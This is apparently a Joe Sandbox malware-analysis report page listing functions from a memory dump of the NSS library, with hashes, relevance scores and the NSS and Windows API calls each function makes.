Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: e1864677204d22fae3020949628b4ab459bcd869b05d88af40df856722a26d64
Instruction ID: 01e28fcd18c913cb3760a5f80e2c324c3a2153ceb6783b5b6545beb868365c3c
Opcode Fuzzy Hash: e1864677204d22fae3020949628b4ab459bcd869b05d88af40df856722a26d64
Instruction Fuzzy Hash: 42213131B00626BBDB01AE25DC047AA73B4BF06358FA40134DD08A7A02E730E935CBDA

Function 6C663F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C663440: PK11_GetAllTokens.NSS3 ref: 6C663481
Part of subcall function 6C663440: PR_SetError.NSS3(00000000,00000000), ref: 6C6634A3
Part of subcall function 6C663440: TlsGetValue.KERNEL32 ref: 6C66352E
Part of subcall function 6C663440: EnterCriticalSection.KERNEL32(?), ref: 6C663542
Part of subcall function 6C663440: PR_Unlock.NSS3(?), ref: 6C66355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C64E80C,00000000,00000000,?,?,?,?,6C658C5B,-00000001), ref: 6C663FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C64E80C,00000000,00000000,?,?,?,?,6C658C5B,-00000001), ref: 6C663FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C64E80C,00000000,00000000,?,?,?,?,6C658C5B,-00000001), ref: 6C663FFE
PR_SetError.NSS3 ref: 6C66401A

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 94d39a397e2d88e49172b49786323c033a72c52c3e7dfe0e0ef3cea9385f715b
Instruction ID: 6905b5075a088c338bcbb00a38bef22901efa95d2864770ba4dcc18df55fd449
Opcode Fuzzy Hash: 94d39a397e2d88e49172b49786323c033a72c52c3e7dfe0e0ef3cea9385f715b
Instruction Fuzzy Hash: CD317E70504714CFD701EF6AD4846AABBF0FF89354F11592ED8898BB00EB70E884CB96

Function 6C654FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C65B60F,00000000), ref: 6C655003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C65B60F,00000000), ref: 6C65501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C65B60F,00000000), ref: 6C65504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C65B60F,00000000), ref: 6C655064

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 679dba885261350a3795443f8593eda7e8902922367b287cae6c4d199223df45
Instruction ID: a299ee73a011e8a2b4fbbefd8e76b33c2d404e0bda206ec2b4dc35946fdbd81e
Opcode Fuzzy Hash: 679dba885261350a3795443f8593eda7e8902922367b287cae6c4d199223df45
Instruction Fuzzy Hash: F93126B0A05706CFDB00EF68C48866ABBF4FF49304B608969D859DB700E730E8A0CBD5

Function 6C679F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C67A71A,FFFFFFFF,?,?), ref: 6C679FAB

Part of subcall function 6C6714C0: TlsGetValue.KERNEL32 ref: 6C6714E0
Part of subcall function 6C6714C0: EnterCriticalSection.KERNEL32 ref: 6C6714F5
Part of subcall function 6C6714C0: PR_Unlock.NSS3 ref: 6C67150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C67A71A,6C67A71A,00000000), ref: 6C679FD9

Part of subcall function 6C671340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C61895A,00000000,?,00000000,?,00000000,?,00000000,?,6C60F599,?,00000000), ref: 6C67136A
Part of subcall function 6C671340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C61895A,00000000,?,00000000,?,00000000,?,00000000,?,6C60F599,?,00000000), ref: 6C67137E
Part of subcall function 6C671340: PL_ArenaGrow.NSS3(?,6C60F599,?,00000000,?,6C61895A,00000000,?,00000000,?,00000000,?,00000000,?,6C60F599,?), ref: 6C6713CF
Part of subcall function 6C671340: PR_Unlock.NSS3(?,?,6C61895A,00000000,?,00000000,?,00000000,?,00000000,?,6C60F599,?,00000000), ref: 6C67145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C67A71A,6C67A71A,00000000), ref: 6C67A009
PR_SetError.NSS3(FFFFE013,00000000,6C67A71A,6C67A71A,00000000), ref: 6C67A045

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 127abc5fc617bd6c362faa5e9048078677a44bb8d7352de7e1cbfe40e59d13a0
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 1721D7B4601206ABF7109F15DC54F66B7A9FF9135CF108928D81987B81FB75D414CBA4

Function 6C682DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C682E08

Part of subcall function 6C6714C0: TlsGetValue.KERNEL32 ref: 6C6714E0
Part of subcall function 6C6714C0: EnterCriticalSection.KERNEL32 ref: 6C6714F5
Part of subcall function 6C6714C0: PR_Unlock.NSS3 ref: 6C67150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C682E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C682E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C682E95

Part of subcall function 6C671200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C671228
Part of subcall function 6C671200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C671238
Part of subcall function 6C671200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C67124B
Part of subcall function 6C671200: PR_CallOnce.NSS3(6C772AA4,6C6712D0,00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C67125D
Part of subcall function 6C671200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C67126F
Part of subcall function 6C671200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C671280
Part of subcall function 6C671200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C67128E
Part of subcall function 6C671200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C67129A
Part of subcall function 6C671200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6712A1

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: f12d32ccfb3927ab1cd03a0c3fc02e9930dfc346623416cc1f7b0d9da176f384
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: D621D4B1D123454BE710CF549D48BAA3764AFA230CF110269DD086B752F7B1E69982BE

Function 6C651870 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6518A6
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6C636C34,?,?,00000001,00000000,00000007,?), ref: 6C6518B6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C636C34,?,?), ref: 6C6518E1
PR_SetError.NSS3(00000000,00000000), ref: 6C6518F9

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 9c17aa9dfe722cffded368eded9138cd580a789ce0e82dcbe6fc0dee75872eb6
Instruction ID: cf5ed551b55888492c9f11a8ab5fb777cd1de111ad204d40cf0f0808846e877c
Opcode Fuzzy Hash: 9c17aa9dfe722cffded368eded9138cd580a789ce0e82dcbe6fc0dee75872eb6
Instruction Fuzzy Hash: 6521D0B1E002199BDB00AF68DC44AEE7B74FF0A318F540078ED0567701EB35AA28CBE5

Function 6C63ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C63ACC2

Part of subcall function 6C612F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C612F0A
Part of subcall function 6C612F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C612F1D

Part of subcall function 6C612AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C610A1B,00000000), ref: 6C612AF0
Part of subcall function 6C612AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C612B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C63AD5E

Part of subcall function 6C6557D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C61B41E,00000000,00000000,?,00000000,?,6C61B41E,00000000,00000000,00000001,?), ref: 6C6557E0
Part of subcall function 6C6557D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C655843

CERT_DestroyCertList.NSS3(?), ref: 6C63AD36

Part of subcall function 6C612F50: CERT_DestroyCertificate.NSS3(?), ref: 6C612F65
Part of subcall function 6C612F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C612F83

free.MOZGLUE(?), ref: 6C63AD4F

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 67861c0bf926ffc31259bb243877e324a1a64749ddcaaa0d098509fed6c9a6c3
Instruction ID: 5649d943a40eedd7e35778d1a2358a5976c3904e36eda092132ec8d0329910c0
Opcode Fuzzy Hash: 67861c0bf926ffc31259bb243877e324a1a64749ddcaaa0d098509fed6c9a6c3
Instruction Fuzzy Hash: DC21D4B1D002248BEF11DFA4D8055EEB7F4AF06209F456068D80877701FB31AA55CBAD

Function 6C663C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C663C9E
EnterCriticalSection.KERNEL32(?), ref: 6C663CAE
PR_Unlock.NSS3(?), ref: 6C663CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C663D02

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: d432605ef0e11337264a5604a246006ce9affa35564879e488e3dbd7607a74eb
Instruction ID: d71d3a7a0a25eeb9af40d3f96a2ca6af4eda23d6226a50effa39ef8eaad79286
Opcode Fuzzy Hash: d432605ef0e11337264a5604a246006ce9affa35564879e488e3dbd7607a74eb
Instruction Fuzzy Hash: C311D675A00214AFDB00AF25DC48A9A37B8EF4A368F154074FC089B711D730ED54CBE5

Function 6C66ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C66F0AD,6C66F150,?,6C66F150,?,?,?), ref: 6C66ECBA

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C66ECD1

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C66ED02

Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C66ED5A

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 46080156cc250448f7c74abb9ead9ad49d0dac761b7c8331abbc0e29ec14de45
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 6521A1B1A007429BE700CF26DD44B52B7E4BFA5348F25C21AE81C87A61FB70E594C6E9

Function 6C63C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C63C890

Part of subcall function 6C638F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C638FAF
Part of subcall function 6C638F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C638FD1
Part of subcall function 6C638F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C638FFA
Part of subcall function 6C638F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C639013
Part of subcall function 6C638F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C639042
Part of subcall function 6C638F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C63905A
Part of subcall function 6C638F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C639073
Part of subcall function 6C638F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C639111

PR_GetCurrentThread.NSS3 ref: 6C63C8B2

Part of subcall function 6C6D9BF0: TlsGetValue.KERNEL32(?,?,?,6C720A75), ref: 6C6D9C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C63C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C63C8EB

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 310869313dbc85c48004ee9330aa96b03329e276a30f0ce06bd29a3fcf8329ea
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: BE01C666E012307BD60029B56C80AEF39689B4625CF043235FC0DA6B11E771891892EA

Function 6C69EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C687FFA,?,6C689767,?,8B7874C0,0000A48E), ref: 6C69EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C687FFA,?,6C689767,?,8B7874C0,0000A48E), ref: 6C69EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C687FFA,?,6C689767,?,8B7874C0,0000A48E), ref: 6C69EE14

Part of subcall function 6C670BE0: malloc.MOZGLUE(6C668D2D,?,00000000,?), ref: 6C670BF8
Part of subcall function 6C670BE0: TlsGetValue.KERNEL32(6C668D2D,?,00000000,?), ref: 6C670C15

memcpy.VCRUNTIME140(?,?,6C689767,00000000,00000000,6C687FFA,?,6C689767,?,8B7874C0,0000A48E), ref: 6C69EE33

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 58f645cf05f48a3db505460df63491191dfe67910375952eb0acec5ce52216a5
Instruction ID: 7c7fae82b6085d0147a80cac74afaed3d947f3a4969b7cbedbe3c67acc84aebc
Opcode Fuzzy Hash: 58f645cf05f48a3db505460df63491191dfe67910375952eb0acec5ce52216a5
Instruction Fuzzy Hash: F411C2B5A04707ABEB109E65DC84B46B3A8FF0035DF204536E919C2B00E331F865CBE9

Function 6C61DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6306A0: TlsGetValue.KERNEL32 ref: 6C6306C2
Part of subcall function 6C6306A0: EnterCriticalSection.KERNEL32(?), ref: 6C6306D6
Part of subcall function 6C6306A0: PR_Unlock.NSS3 ref: 6C6306EB

CERT_NewCertList.NSS3 ref: 6C61DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C61DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C61DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C61E029

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 72e9421ba8f4a290cd3599d1be96fa74d5add4e4efface07f2d60d4ff70754a0
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: AC114871B0C606AFDB114EAC5C48BAB76B8AB8235FF040534E818C7F00E732C92492E9

Function 6C638DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C638DE7
EnterCriticalSection.KERNEL32 ref: 6C638DFC
PR_Unlock.NSS3 ref: 6C638E2D
PR_SetError.NSS3 ref: 6C638E49

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

